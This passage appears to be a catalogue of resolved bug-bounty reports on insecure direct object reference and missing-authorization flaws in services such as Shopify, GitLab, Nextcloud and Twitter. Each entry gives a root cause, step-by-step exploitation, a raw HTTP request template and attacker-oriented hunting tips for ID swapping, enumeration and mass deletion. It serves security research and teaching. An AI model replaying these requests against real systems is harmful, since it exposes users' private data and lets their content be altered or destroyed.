- Authenticate and capture a messages_send_reply request
- Change thread_id to a target thread you are not part of
- Send; the reply is injected and visible to real participants (attacker not shown in participant list)
- Enumerate thread_id 1..N to inject into every existing thread
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=messages_send_reply&_wpnonce=<NONCE>&content=Test+Message&thread_id=1
Insight — Write-side IDOR: even when you cannot read a private thread, missing authz on the reply/write handler lets you inject content. Sequential integer IDs make it mass-exploitable (spam/phishing) and a foothold to chain with read-side bugs.
Real-world example
Sequential user_id in request body lets attacker act as victim (block their application)
◆ Low
Specimen #983070 · logitech · awarded · 61 votes · resolved
Program logitechSurface api
Root cause
An app-whitelist apply endpoint takes user_id from the JSON body instead of the session; IDs are sequential and discoverable via /user/me, so an attacker submits the one-time apply form on behalf of any user, poisoning it so the victim can no longer apply.
Method
- Register two accounts; find your user_id at /api/v1/s/user/me
- Open Create App, fill the form, intercept the apply request
- Change user_id in the JSON to the victim's (sequential) ID
- Forward; 200 OK means the form was submitted as the victim (with attacker/garbage data), blocking their real application
POST /api/v1/store/whitelist HTTP/1.1
Content-Type: application/json
{...,"user_id":<VICTIM_SEQUENTIAL_ID>}
Insight — Any state-creating endpoint that reads a user_id/owner_id from the client body is a write-IDOR. Even 'low impact' one-time actions become denial-of-service when the action can only be performed once per user and you can perform it for everyone.
Real-world example
User-metadata leak via username-keyed API
◆ Low
Specimen #3114132 · wakatime · none · 57 votes · resolved
Program wakatimeSurface apiChain metadata enumeration feeds targeted credential stuffing / pa
Root cause
/api/v1/users/{username} returns email-related metadata (is_email_confirmed, is_email_public, public_email) for any username with no ownership/authorization check, enabling account enumeration and privacy-preference disclosure.
Method
- Authenticate and capture GET /api/v1/users/<your_username>
- Swap the username in the path to any other user
- Read is_email_confirmed / is_email_public from the response
GET /api/v1/users/<victim_username> HTTP/2
Host: wakatime.com
Cookie: <session>
// response
{ "is_email_confirmed": true, "is_email_public": false, "public_email": null }
Insight — Username/ID-keyed profile APIs often return more fields than the UI shows. Diff your-own vs another user's response for sensitive booleans (verified, MFA, privacy flags) usable for targeting.
Real-world example
Cross-workspace setting toggle via replayed endpoint (BFLA)
◆ Low
Specimen #3369843 · lovable-vdp · none · 56 votes · resolved
Program lovable-vdpSurface api
Root cause
Workspace tool-preference endpoints do not verify the caller's role in the target workspace, so a low-privileged member can enable/disable the AI gateway setting for any workspace by supplying its workspace_id.
Method
- As an owner, capture the enable/disable request in your own workspace
- Substitute another workspace_id (where you hold only a low-privileged role)
- Replay to toggle that workspace's AI setting
DELETE /workspaces/<workspace_id>/tool-preferences/ai_gateway/enable // enable
POST /workspaces/<workspace_id>/tool-preferences/ai_gateway/enable // disable
{ "approval_preference": "disable" }
Insight — Settings/preferences endpoints keyed by a tenant/workspace id are prime BFLA+BOLA targets: swap the id and confirm the role check is absent even when the UI hides the control.
Real-world example
Interaction endpoint accepts private-object id from non-member
◆ Low
Specimen #1298902 · reddit · awarded · 52 votes · resolved
Program redditSurface api
Root cause
The /api/vote endpoint acts on a post id without verifying the caller can access the (private) subreddit that post belongs to, letting a non-member alter the post's upvote percentage by passing the post id directly.
Method
- Obtain a target private-subreddit post id
- Intercept a legitimate /api/vote request and send to Repeater
- Set id=<victim post id>, toggle dir=-1 / dir=1 and observe the upvote percentage change
POST /api/vote
id=<private_post_fullname>&dir=-1 // and dir=1
Insight — Vote/react/follow/comment endpoints are object-interaction sinks that often skip the container (subreddit/org) membership check. Feed them ids from private containers to test cross-boundary interaction, even if the direct read is blocked.
Real-world example
Cross-tenant reference via import-time GID->SGID resolution without ownership check
◆ Low
Specimen #3543475 · basecamp · awarded · 50 votes · resolved
Program basecampSurface webChain malicious import ZIP -> global gid resolution -> minte
Root cause
The account-import flow's convert_gids_to_sgids resolves attacker-supplied ActionText gid values globally and mints a signed sgid without checking the target record belongs to the importing account. The export path enforces record.account_id == account.id, but the import path does not, yielding a persisted cross-tenant reference that renders victim data in the attacker's account.
Method
- Craft an import ZIP whose ActionText attachment HTML contains a gid pointing at a victim-tenant record
- Upload it through the normal account import flow (imports_controller -> import_batch)
- Import resolves the gid globally and stores an sgid referencing the victim record
- Attacker-owned rich text now resolves/renders the victim-owned attachable
# attacker-controlled ActionText gid in imported HTML, e.g.
gid://fizzy/Attachment/<VICTIM_RECORD_ID>
# import mints: signed sgid -> resolves victim record in attacker context
# PoC scripts: security-poc/integration_test_standalone.rb , demo_import_cross_account_impact.rb , patch_action_text_gid.py
Insight — Look for asymmetric authorization between symmetric flows: export vs import, share vs unshare, encode vs decode. If one side enforces tenant/ownership and the other resolves identifiers globally, the unchecked side is a cross-tenant IDOR. GlobalID/signed-id minting during import is a classic sink.
Real-world example
Private-profile bypass via secondary JSON endpoint
◆ Low
Specimen #703894 · gitlab · $500 · 49 votes · resolved
Program gitlabSurface web
Root cause
A privacy toggle is enforced on the HTML profile page but a parallel data endpoint (starred.json) serves the same private data with no re-check.
Method
- Enable the private/'don't display activity' profile setting
- Load the profile logged-out - it shows 'private profile'
- Request the parallel data endpoint /users/<name>/starred.json directly
GET https://gitlab.com/users/<username>/starred.json
Insight — When a UI enforces privacy, probe the JSON/API endpoint backing the same widget (.json, /api/, xhr) - access control is often only on the HTML view.
Real-world example
Numeric message-thread IDOR to inject into private conversations
◆ Low
Specimen #1592596 · automattic · awarded · 44 votes · resolved
Program automatticSurface web
Root cause
Sensei LMS private messages are keyed by an incrementing numeric thread ID with no check that the sender owns or teaches the thread.
Method
- Send a private message as student1 to capture the numeric thread id
- As student2, replay the send-message request changing the thread id
- Message is posted into another student's private thread
Change numeric message/thread ID in the send-message request (CVE-2022-2080)
Insight — LMS/messaging plugins routinely trust a numeric conversation id; try replying to id-1 / id+1 from a second account.
Real-world example
Unpublished/draft objects reachable by direct ID endpoint
◆ Low
Specimen #486837 · urbandictionary · none · 44 votes · resolved
Program urbandictionarySurface webTag account-takeover
Root cause
A secondary edit endpoint (video.new.php?defid=) resolves objects by numeric id without checking publication state, so unpublished/draft definitions leak their name and remain editable even though the public API returns empty for that id.
Method
- Create then unpublish a definition; note its defid
- Confirm it is hidden via the public API (returns empty list)
- Request the edit/secondary endpoint with that defid directly
- Observe the unpublished name is shown and video URL can be set
https://www.urbandictionary.com/video.new.php?defid=12504202
# public API returns empty:
http://api.urbandictionary.com/v0/define?defid=12504202
Insight — Publication/visibility state is often enforced only on the primary read path. Take the object id of a draft/unpublished/private item and replay it against edit/attach/secondary endpoints; they frequently ignore the state check.
Real-world example
Attachment IDOR that also survives deletion (stale object)
◆ Low
Specimen #300179 · mavenlink · awarded · 43 votes · resolved
Program mavenlinkSurface webTag file-upload
Root cause
Uploaded files are served by a short numeric /attachments/<id> with no ownership check, and the blob remains reachable after the record is 'deleted'.
Method
- Upload a portfolio file, note /attachments/<8-digit-id>
- Open the link from a different user's session - still served
- Delete the file in the UI; the direct link keeps working
GET https://app.mavenlink.com/attachments/<8-digit-id>
Insight — Attachment endpoints often lack ACLs AND UI-delete rarely purges the underlying object store - re-test the URL after deletion.
Real-world example
Missing owner check on token-delete endpoint
◆ Low
Specimen #3325582 · mozilla · awarded · 38 votes · resolved
Program mozillaSurface webTag account-takeover
Root cause
The delete_token view deletes by numeric token_id without verifying the token belongs to the requesting user, so any authenticated user can delete any user's Personal Access Token by iterating IDs.
Method
- Generate a token to learn the numeric id format/range (POST /generate-token/).
- As attacker, POST /delete-token/{victim_token_id}/ with attacker cookies+csrf.
- Receive 200 'Token Successfully Deleted'; victim loses API access.
POST /delete-token/{VICTIM_TOKEN_ID}/ HTTP/1.1
Host: TARGET
Cookie: {ATTACKER_COOKIES}
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken={ATTACKER_CSRF}
Insight — Newly added CRUD endpoints (generate/delete/edit token) are classic missing-authz spots. For any /delete-{object}/{id}/ route, test with a second account and a victim's numeric id; the object handler often trusts the id and skips ownership.
Real-world example
Payment-status IDOR (missing ownership check)
◆ Low
Specimen #1538669 · omise · USD 100 · 37 votes · resolved
Program omiseSurface api
Root cause
GET /payments/<id>/status returns the status for any payment id without verifying the payment belongs to the requester's account.
Method
- Request /payments/<your_id>/status
- Swap in another account's payment id
- Response discloses that payment's status
GET /payments/paym_<other_account_id>/status HTTP/2
Host: api.omise.co
Insight — Status/receipt/lookup endpoints on payment/order/charge ids are frequent IDOR points. Enumerate or swap ids across accounts; even 'read status' leaks state and can confirm/monitor others' transactions.
Real-world example
Delete another user's DM history via inverted composite conversation_id
◆ Low
Specimen #666632 · x · USD 560 · 33 votes · resolved
Program xSurface webTag account-takeover
Root cause
A composite resource ID built by concatenating two user IDs (userA-userB) is treated as the canonical key with no ownership/order check, so reversing the order references the same underlying object.
Method
- Open a DM conversation; note URL /messages/123456-78910
- Reverse the two IDs -> /messages/78910-123456 and load it
- App prompts to Accept/Delete the 'unknown user' message request
- Clicking Delete wipes the original conversation history
https://twitter.com/messages/78910-123456 (reversed order of the real 123456-78910)
Insight — When a resource ID is a deterministic concatenation of two identifiers, try permuting/reordering the parts - the backend often canonicalizes to the same object without re-checking who owns it.
Real-world example
Array-param IDOR + inference side channel
◆ Low
Specimen #663431 · security · none · 33 votes · resolved
Program securitySurface web
Root cause
A /bugs filter accepts hackathons[] ids without checking membership; supplying a private hackathon's id silently applies its date range, inferable from returned reports' date extremes.
Method
- Call /bugs?subject=<program>&hackathons[]=<ID> with a private hackathon id
- The private date range is applied to the filter
- Infer the hackathon's active window from earliest/latest report dates returned
GET /bugs?subject=<program>&hackathons[]=<PRIVATE_ID>
Insight — Array/filter params are under-checked IDOR surfaces; even when data isn't returned directly, a filter side effect (result-set boundaries) leaks the hidden object's attributes.
Real-world example
Set global external-storage credentials for any user via uid parameter
◆ Low
Specimen #2107934 · nextcloud · awarded · 30 votes · resolved
Program nextcloudSurface web
Root cause
The files_external globalcredentials endpoint trusts a client-supplied uid and lets any admin-group user overwrite the global external-storage credentials of any other user or admin, with no check that the acting admin may modify that uid.
Method
- As a (malicious) admin-group user, open External storage and enter any valid global credentials
- Intercept the POST to /apps/files_external/globalcredentials
- Change the uid/user fields to a victim's username
- Server returns true and the victim's global external-storage credentials are overwritten
POST /nextcloud/index.php/apps/files_external/globalcredentials
Content-Type: application/json
{"uid":"VICTIM","user":"VICTIM","password":"123"}
Insight — Config/settings endpoints that take a uid/target parameter are prime IDOR targets even inside an 'admin' feature - a lower or lateral admin may not be authorized for every uid. Swap the uid and confirm the server checks the actor-target relationship.
Real-world example
Guest role forbidden UI action executable via direct POST (Sentry error-tracking issue creation)
◆ Low
Specimen #1117768 · gitlab · USD 610 · 29 votes · resolved
Program gitlabSurface web
Root cause
Error-tracking issue creation was gated only in the UI to Reporter+, but the backend endpoint accepted the request from a Guest session, letting Guests create and track issues for Sentry errors.
Method
- As Guest in a private project, capture the create-issue request used by Reporter+ error tracking
- Replay it from the Guest session, setting sentry_issue_identifier to a target error id
- Issue is created and tracks the error's resolution status
issue[title]=Title
issue[description]=Description
issue[sentry_issue_attributes][sentry_issue_identifier]=Error_Id
authenticity_token=your_auth_token
Insight — Role checks enforced only by hiding UI buttons are not access control. For every privileged action, replay the raw request from a lower-privileged session. Object-linking params (sentry_issue_identifier here) are prime spots for forced actions.
Real-world example
folder_id in notebooks contents API deletes/creates in other tenants
◆ Low
Specimen #3353035 · singlestore · none · 29 votes · resolved
Program singlestoreSurface api
Root cause
The notebooks contents API (/public/notebooks/api/contents/) validates neither cluster ownership nor folder ownership before acting, so manipulating the clusterID / folder_id (both UUIDs) lets a low-priv org member create or delete folders in another member's workspace.
Method
- Capture a DELETE (or POST) to the notebooks contents API for your own folder
- Substitute another org member's cluster/folder UUID in the path
- Send -> their folder is deleted (or a folder is created under their cluster)
DELETE /public/notebooks/api/contents/<clusterID>/_internal-s2-stage/<folder_id>/<folder_name>/ HTTP/1.1
Host: backend.singlestore.com
Cookie: <low-priv session>
Insight — Same-tenant/same-org does not mean same-owner. Notebook/file-store APIs keyed by resource UUIDs still need per-object ownership checks; high attack complexity (needing UUIDs) is mitigation, not a fix.
Real-world example
Sequential card id maps to opaque driver UUID (recon primitive)
◆ Low
Specimen #254151 · uber · awarded · 28 votes · resolved
Program uberSurface api
Root cause
activateFuelCard accepts a sequential card id and returns the associated driver UUID; the sequential id acts as an index that dereferences the 'unguessable' UUID, letting an attacker bulk-harvest UUIDs for use in follow-on attacks.
Method
- Find an endpoint that takes a small sequential id (activateFuelCard)
- Enumerate ids and record the returned driver UUID for each
- Feed the harvested UUIDs into other UUID-keyed endpoints
GET /activateFuelCard?id=<sequential_card_id> -> response contains driverUuid
Insight — UUIDs stop enumeration only if they never appear in a response indexed by a guessable key. Hunt for any sequential->UUID mapping endpoint; it converts 'unguessable' object stores into enumerable ones.
Real-world example
IDOR on predictable content_id exposes pending/unapproved media
◆ Low
Specimen #411679 · chaturbate · 200 · 28 votes · resolved
Program chaturbateSurface web
Root cause
Photo/video content is served by an incremental content_id in the URL without checking approval state or ownership, so unpublished media awaiting moderation is downloadable.
Method
- Open a known media URL /photo_videos/photo/big/{user}/{content_id}/
- Increment content_id (last id + 1)
- If the id exists, the (possibly pending/unapproved) content is returned
https://chaturbate.com/photo_videos/photo/big/{user_name}/{content_id+1}/
Insight — Approval/moderation workflow is not access control. Enumerate incremental content IDs to reach pending, rejected, or draft media; the same pattern reaches other users' not-yet-public objects.
Real-world example
Private object referenced inside an array field (label_ids)
◆ Low
Specimen #439729 · gitlab · awarded · 27 votes · resolved
Program gitlabSurface web
Root cause
The board-update PUT accepts a label_ids array without checking the labels belong to a project/group the user can access, so adding another project's private label id attaches and exposes that private label.
Method
- As victim create a private project with a private label; note its id
- As attacker create your own project/board, edit the board and add a label, intercept the save PUT
- Insert the victim's private label id into the label_ids array and send -> the private label is added to your board and readable
PUT /<attacker>/<proj>/boards/<board_id>.json HTTP/1.1
Host: gitlab.com
Content-Type: application/json
{"board":{"id":<board_id>,"name":"x","label_ids":[<VICTIM_PRIVATE_LABEL_ID>]}}
Insight — Ownership checks often cover the top-level object but not ids nested in arrays/associations (label_ids, member_ids, assignee ids). Fuzz every id-bearing field of a JSON body, not just the primary key.
Real-world example
Cross-tenant product/app disclosure via unscoped delivery endpoint
◆ Low
Specimen #848625 · shopify · 500 · 27 votes · resolved
Program shopifySurface webTag api
Root cause
delivery.shopifyapps.com/products/<id> returned the product title for any product with an attachment regardless of which shop/user requested it, leaking whether an app is installed and how a product is configured.
Method
- As a no-permission staff of the victim shop, read product IDs from page source (__st.rid in the <script id=__st>)
- From a separate account, request the shared delivery endpoint with those IDs
- A title response confirms the app is installed and configured on that product
view-source:https://VICTIM.myshopify.com/products/tt -> __st.rid
GET https://delivery.shopifyapps.com/products/3785077260000
Insight — Object IDs leak in inline __st/JSON blobs; feed them to auxiliary app/CDN endpoints that skip the tenant check.
Real-world example
Subscription detail leak via subscription_id URL param
◆ Low
Specimen #344145 · eternal · 100 · 21 votes · resolved
Program eternalSurface web
Root cause
A payment-success page rendered membership/subscription validity based solely on subscription_id in the query string with no ownership check, leaking any user's plan and validity dates.
Method
- Visit /gold/payment-success?subscription_id=<id>&user_id=<id>.
- Change subscription_id to another value.
- Read the returned Membership ID, start/end dates and plan duration.
GET /gold/payment-success?subscription_id=VICTIM_SUB_ID&user_id=VICTIM_USER_ID HTTP/1.1
Host: www.zomato.com
Insight — Post-payment/confirmation pages often reflect an order or subscription object by id in the URL and are a soft target for IDOR info leaks. Same param-tamper info-disclosure primitive seen against loyalty/meal-card records (389250).
Real-world example
JS-discovered admin function with no ownership check
◆ Low
Specimen #264919 · eternal · awarded · 21 votes · resolved
Program eternalSurface apiChain JS recon -> list endpoint leaks menu_set_id -> unautho
Root cause
An action handler (deactivate/delete special menu) validated no ownership of the target restaurant; the reporter recovered the request shape (user_id, menu_set_id, request_type) from client JS, then chained recon requests to obtain the required ids.
Method
- Read app JS to find hidden action functions (request_type:'deactivate-special-menu', user_id, menu_set_id).
- Call a recon endpoint (get-special-menus) with a res_id to leak menu_set_id and related ids.
- POST the deactivate/delete request with the harvested ids for a restaurant you do not own.
var a={request_type:"deactivate-special-menu",user_id:USER_ID,menu_set_id:e};$.post("/endpoint",a)
# recon step:
user_id=XXXX&type=SPECIAL&request_type=get-special-menus&res_id=XXXXX
Insight — Mine client-side JS for action handlers and their parameters; 'request_type'-style dispatchers often skip ownership checks. Chain a list/read request to obtain the ids the write needs. Variant: promo deactivation via promoDataHandler.php (264754).
Real-world example
Delete any user's file via unvalidated file:<id>
◆ Low
Specimen #1755555 · nextcloud · awarded · 21 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
The Deck attachment-delete route validated only that the caller owned the cardId, not that the referenced file id belonged to that card/user, so any authenticated user could delete any file by id (incremental ids). CVE-2023-22471.
Method
- Attach a file to your own Deck card and delete it, intercepting the DELETE.
- Keep your own cardId but change file:<id> to another user's file id.
- Server returns 200 and deletes the victim's attachment; Burp Intruder the id range for mass deletion.
DELETE /apps/deck/cards/63/attachment/file:117 HTTP/2
Host: TARGET
Requesttoken: <token>
Insight — When a request has two ids (owned container + target object), the check often covers only the container. Hold your own container id and mutate the object id. Same delete-object primitive seen deleting animals (1947376) and profile images via a GraphQL mutation (952095).
Real-world example
Unauth image endpoint discloses unpublished product images by ID
◆ Low
Specimen #534554 · shopify · USD 500 · 20 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A helper endpoint serves product images keyed only by product_id and does not check the product's published/sales-channel visibility.
Method
- Create a product and keep it unpublished on all sales channels
- Confirm it is invisible on the storefront
- Request the image helper endpoint with the product_id
https://{shop}.myshopify.com/services/img?product={PRODUCT_ID}
Insight — Object-serving side endpoints (/services/img, thumbnail/CDN proxies, export helpers) frequently skip the visibility/authorization checks the main UI enforces. Enumerate IDs against them for unpublished/draft/soft-hidden objects.
Real-world example
GraphQL query IDOR via attacker-supplied ownerId/ownerName
◆ Low
Specimen #1692788 · shopify · USD 900 · 18 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Shopify Hydrogen's GitHubRepositoriesQuery accepts ownerName/ownerId as request variables and returns that owner's connected-GitHub repositories without verifying the caller owns that GitHub linkage.
Method
- As victim, connect a GitHub account in Hydrogen and observe GitHubRepositoriesQuery containing ownerName/ownerId
- As attacker (any store), send the same operation with the victim's ownerName/ownerId
- Receive the victim's private repositories in the response
POST /admin/internal/web/graphql/core?operation=GitHubRepositoriesQuery&type=query
X-Csrf-Token: <ATTACKER_CSRF>
Cookie: <ATTACKER_COOKIES>
{"operationName":"GitHubRepositoriesQuery","variables":{"ownerName":"<VICTIM>","ownerId":<VICTIM_ID>,"searchQuery":"","pageSize":15},"query":"query GitHubRepositoriesQuery($ownerName:String!,$ownerId:Int,$searchQuery:String,$pageSize:Int,$cursor:String){onlineStore{versionControlGithub{repositories(ownerName:$ownerName ownerId:$ownerId first:$pageSize searchQuery:$searchQuery after:$cursor){nodes{id name writeAccess}}}}}"}
Insight — Any GraphQL operation that takes an owner/account/tenant id as a variable is a BOLA candidate: replay it with your own valid session but the victim's identifiers. Third-party integration queries (GitHub/Slack/etc.) frequently leak the linked account's private data.
Real-world example
App-password permission change via id in JSON body
◆ Low
Specimen #297751 · nextcloud · 100 · 18 votes · resolved
Program nextcloudSurface webChain IDOR grant filesystem scope on victim token -> WebDAV logTag account-takeover
Root cause
The authtokens update endpoint applied changes based on the id inside the JSON body (and URL) without checking the token belonged to the current user, letting any authenticated user flip another user's app-password filesystem permission. CVE-2017-0936.
Method
- As victim, create an app password with filesystem access unchecked; note its incremental id.
- As a second user, toggle your own app-password filesystem access and intercept the PUT.
- Change id (URL and JSON body) to the victim's token id and scope.filesystem to true; forward.
- Victim token now has filesystem access -> use it via WebDAV to read the victim's files.
PUT /index.php/settings/personal/authtokens/95 HTTP/1.1
Host: TARGET
Content-Type: application/json
requesttoken: <token>
{"id":95,"name":"x","type":1,"scope":{"filesystem":true},"canDelete":true}
Insight — Don't only fuzz ids in the URL - the authoritative id is sometimes taken from the JSON body. Grant-permission IDORs turn a stolen low-scope token into full account/file access. Token ids start at 1.
Real-world example
Cross-account address write via secondary registration flow
◆ Low
Specimen #1279322 · shopify · USD 500 · 18 votes · resolved
Program shopifySurface web
Root cause
The admin UI blocks adding/altering an existing customer's address, but the wholesale self-registration flow keys the customer by email and writes a default address, letting an unauthenticated attacker set/replace the default address of an arbitrary existing customer by reusing their email.
Method
- Enable 'Customers must provide an address' on a wholesale store
- Register on the wholesale store using a victim customer's email + attacker address
- Observe the address now attached to that customer in the main store
# Wholesale signup with victim email:
email=victim@example.com&business_address=ATTACKER_ADDRESS (no admin/staff auth)
Insight — Access controls enforced on the primary path are often absent on secondary flows (wholesale/import/API) that resolve the same object by a guessable key (email). Map every write path to a resource, not just the obvious one.
Real-world example
Object-level authz missing on group-DM access after leaving
◆ Low
Specimen #53858 · twitter · awarded · 10 votes · resolved
Program twitterSurface webChain former member → known DM id → direct request → read private
Root cause
Twitter checked group-DM membership at the UI level but the message/DM endpoint did not re-verify current membership, so a user who had been in a group DM (and then left) could still access its messages by requesting the DM id directly.
Method
- Be a member of a group DM at least once, then leave
- Capture a DM id (the endpoint uses a numeric conversation id)
- After leaving, request the DM directly (e.g. /a/messages/<DM_ID>/delete)
- Messages are still accessible despite no current membership
GET https://mobile.twitter.com/a/messages/582225197727506432/delete
# 582225197727506432 = the group DM id
Insight — Authorization must be re-evaluated on every object request against current state, not membership at join time. Test 'revoked access' flows: leave/remove/downgrade, then replay saved object ids — stale access is a common IDOR.
Real-world example
Cross-feature object-id reuse bypasses per-feature access revocation
◆ Low
Specimen #154410 · shopify · awarded · 9 votes · resolved
Program shopifySurface webChain revoked feature access → reuse object id in sibling feature
Root cause
Comments in different features (orders, transfers) share a global comment id space and the delete/modify endpoint authorizes based on the feature you currently access, not on the comment's own feature. After an owner revokes a staff member's access to orders, the staff member deletes/edits their order comments by issuing the delete against a transfers comment endpoint with the order comment id.
Method
- As staff, comment in feature A (orders); note the comment id
- Owner revokes access to feature A
- In still-accessible feature B (transfers), issue a delete/modify request
- Substitute the feature-A comment id into the feature-B endpoint; it acts on the revoked comment
POST /admin/transfers/774529/timeline_comments/<ORDER_COMMENT_ID> HTTP/1.1
Host: <shop>.myshopify.com
X-CSRF-Token: ...
utf8=%E2%9C%93&_method=delete&authenticity_token=...
Insight — When ids are global but authorization is scoped to the current feature/route, you can operate on out-of-scope objects by presenting their id to a sibling endpoint you still control. Test id portability across features/tenants after any access change.
Real-world example
IDOR reveals unpublished records by guessing sequential ID
◆ Low
Specimen #311380 · urbandictionary · none · 8 votes · resolved
Program urbandictionarySurface web
Root cause
An endpoint that operates on a definition by numeric ID (defid_to_remove) does not check publication state/ownership, so supplying an arbitrary/sequential ID discloses details of unpublished ('pending') words.
Method
- Find an endpoint parameterized by a numeric record ID
- Substitute IDs (increment/guess) to reach records not yet published/authorized
- Read the disclosed unpublished-record details
https://www.urbandictionary.com/remove.form.php?reconsider%5Bdefid_to_remove%5D=12504202
Insight — Endpoints that reference not-yet-public content by sequential ID (drafts, pending posts, unpublished words) commonly skip a state/authorization check - enumerate IDs on 'remove/edit/preview' actions to read pre-publication data.
Real-world example
Share recipient can delete/modify the share object by share-id
◆ Low
Specimen #153905 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface api
Root cause
The shares API authorizes on being a share participant but not on being the share owner, so a user a file/folder is shared with can DELETE the share (disable sharing) by referencing the share-id.
Method
- Have a file/folder shared to you (or your group)
- Capture the owner's share-management request and note the share-id
- As the recipient, send DELETE on the share-id with your own session/token
- Sharing is disabled though you don't own it
DELETE /nextcloud/ocs/v2.php/apps/files_sharing/api/v1/shares/{SHARE_ID}?format=json HTTP/1.1
Host: TARGET
requesttoken: {recipient_token}
OCS-APIREQUEST: true
Cookie: {recipient_cookie}
Insight — For shared/collaborative objects, test each action from every role (owner, editor, viewer, recipient). Recipients often can invoke owner-only lifecycle actions (delete/disable/transfer) because the check is 'is participant' not 'is owner'.
Real-world example
Private list metadata + user name via side endpoints ignoring visibility flags
◆ Low
Specimen #162822 · instacart · 150 · 7 votes · resolved
Program instacartSurface api
Root cause
Endpoints other than the intended read path (star_toggle, lists?user_id=, recipes/{id}) return an object's full metadata and the owner's name regardless of the object's 'visible'/'show my name' flags, and IDs are incremental, enabling full enumeration.
Method
- Identify all endpoints that touch the object (favorite/star, alternate GET, aggregation)
- Call the action/side endpoint on a private object id and inspect the response body for leaked metadata + owner name
- Iterate incremental ids (and user_id) to dump private objects and personal names en masse
POST /api/v2/lists/{id}/star_toggle -> returns name, description, user_name even when visible=false
GET /api/v2/lists?user_id={id} -> {"author_name":"..."}
GET /api/v2/recipes/{id} -> same private list metadata via a different route
Insight — Visibility/privacy flags are often enforced on only ONE code path. Enumerate every endpoint that returns or mutates the object (star/favorite/aggregate/alternate resource name) and diff their responses; a side endpoint frequently ignores the flag and, combined with incremental ids, yields a full private-data + PII dump.
Real-world example
Delete a resource you can't even see by swapping its ID (private-app delete)
◆ Low
Specimen #155704 · shopify · awarded · 7 votes · resolved
Program shopifySurface web
Root cause
Staff who cannot view private apps can still delete them: the delete action authorizes on the visible app list but the destroy endpoint trusts the App_ID in the request, so changing it to a hidden private-app id deletes it.
Method
- As full-access staff (no private-app visibility), capture the delete request for a normal app
- Replace App_ID with the private app's id
- Server destroys the private app with no permission check
POST /admin/apps/{PRIVATE_APP_ID} HTTP/1.1
Host: {store}.myshopify.com
Content-Type: application/x-www-form-urlencoded
_method=delete&authenticity_token={token}
Insight — Visibility restrictions rarely extend to the mutation endpoint. If the UI hides an object but you can guess/leak its id, test destroy/update directly - authorization on 'can list' does not imply authorization on 'can delete'.
Real-world example
Recommendation endpoint leaks any user's data via uid param
◆ Low
Specimen #196937 · vkcom · awarded · 7 votes · resolved
Program vkcomSurface webTag webhook
Root cause
A video-recommendation endpoint accepts a uid parameter and returns that user's personalized recommendations with no authorization check, exposing another user's interests/behavior.
Method
- Locate the recommendation endpoint that takes a uid parameter.
- Substitute an arbitrary target user id in uid.
- Receive that user's recommended video ids (derived from their searches and visited communities).
https://vk.go.mail.ru/vk/video_recommend?id=&t_sex=&t_age=&uid=<TARGET_USER_ID>
Insight — Personalization/recommendation/feed endpoints that take an explicit user id are prime IDOR targets and leak behavioral data even when they don't expose the account directly. Always swap the uid to another user.
Real-world example
Password-protected room name leak via resource-collection add
◆ Low
Specimen #662218 · nextcloud · 150 · 6 votes · resolved
Program nextcloudSurface api
Root cause
The collaboration resources/collections endpoint returned the name of a password-protected Talk room (and its shared file) to a user with no access, keyed only on an iterable numeric collection ID.
Method
- As low-priv user, POST to the resource collection endpoint referencing collection id of a room you cannot access
- Server responds with the room id, room name and shared file names
- Iterate the numeric collection IDs to enumerate all protected room names
POST /ocs/v2.php/collaboration/resources/collections/{COLLECTION_ID}?format=json
Content-Type: application/json
requesttoken: ...
{"resourceType":"file","resourceId":"1619"}
Insight — Object-linking/collection endpoints often skip the access check on the parent object and echo its metadata back. Iterate small integer collection IDs to harvest names of resources you can't otherwise see.
Real-world example
Act on any user by changing user_ids (group invite without relationship check)
◆ Low
Specimen #52707 · vimeo · awarded · 6 votes · resolved
Program vimeoSurface web
Root cause
A group invite/message action trusts a client-supplied user_ids parameter and does not verify any relationship (follow) between actor and target, so any user id can be added/messaged.
Method
- Capture the group send/invite request
- Replace user_ids with an arbitrary target id
- Server processes the action with no relationship/authorization check
POST /groups/{group_id} HTTP/1.0
Host: vimeo.com
action=send_message&user_ids={ANY_USER_ID}&user_emails=&message=&token={xsrf}&collection_type=
Insight — Any 'target user' parameter (user_ids, member_id, recipient) is an IDOR/authorization candidate: swap it and check whether the app enforces the required relationship (following, membership, ownership) or blindly trusts the id.
Real-world example
Add content to another user's private group by swapping group id
◆ Low
Specimen #50786 · vimeo · awarded · 3 votes · resolved
Program vimeoSurface webTag account-takeover
Root cause
The collection/group toggle endpoint trusts the client-supplied group id without verifying the requester is a member/owner of that group.
Method
- Trigger the normal 'add video to my group' action and capture the toggle_collection request
- Replace the id value with a victim's private group id (enumerable)
- Send; the video is added to the victim's private group without membership
POST /118099933?action=adder HTTP/1.1
Host: vimeo.com
action=toggle_collection&type=group&id=<victim_private_group_id>&toggle=add&token=<token>
Insight — Membership/collection 'add' endpoints often check that YOU own the object being added but not that you own the CONTAINER. Swap the container id (group/album/folder) to write into others' private containers.
Real-world example
Missing ACL on edit-question endpoint
◆ Low
Specimen #85532 · owncloud · none · 3 votes · resolved
Program owncloudSurface web
Root cause
editquestion.php loads and mutates a question by numeric page id without verifying the requester authored it, allowing edit/delete of any user's question.
Method
- Browse to editquestion.php?page=<id> for a question you do not own
- The edit/delete form is served and the action succeeds against another user's question
https://apps.owncloud.com/knowledgebase/editquestion.php?page=<victim_question_id>
Insight — Legacy PHP edit/delete scripts (editX.php?id=) are classic missing-ownership-check IDORs. Enumerate the numeric id on every edit/delete endpoint.
Real-world example
IDOR on PDF receipt endpoint via weakly-encoded invoice number
◆ Low
Specimen #61371 · udemy · awarded · 2 votes · resolved
Program udemySurface web
Root cause
A receipt/invoice download endpoint authorizes on a guessable/enumerable identifier (a lightly-encoded invoice number) rather than the requesting user's session, so mutating the identifier returns other users' documents.
Method
- Download your own PDF receipt and note the invnum value
- Decode it (here a hex/base-N string) to observe it is sequential/predictable
- Increment/flip characters and re-request to retrieve other users' receipts
https://www.udemy.com/dashboard/pdf-receipt/?invnum=PD-CC-66574B6C57334B626B366B39
https://www.udemy.com/dashboard/pdf-receipt/?invnum=PD-CC-66574B6C57334B696B366B3D
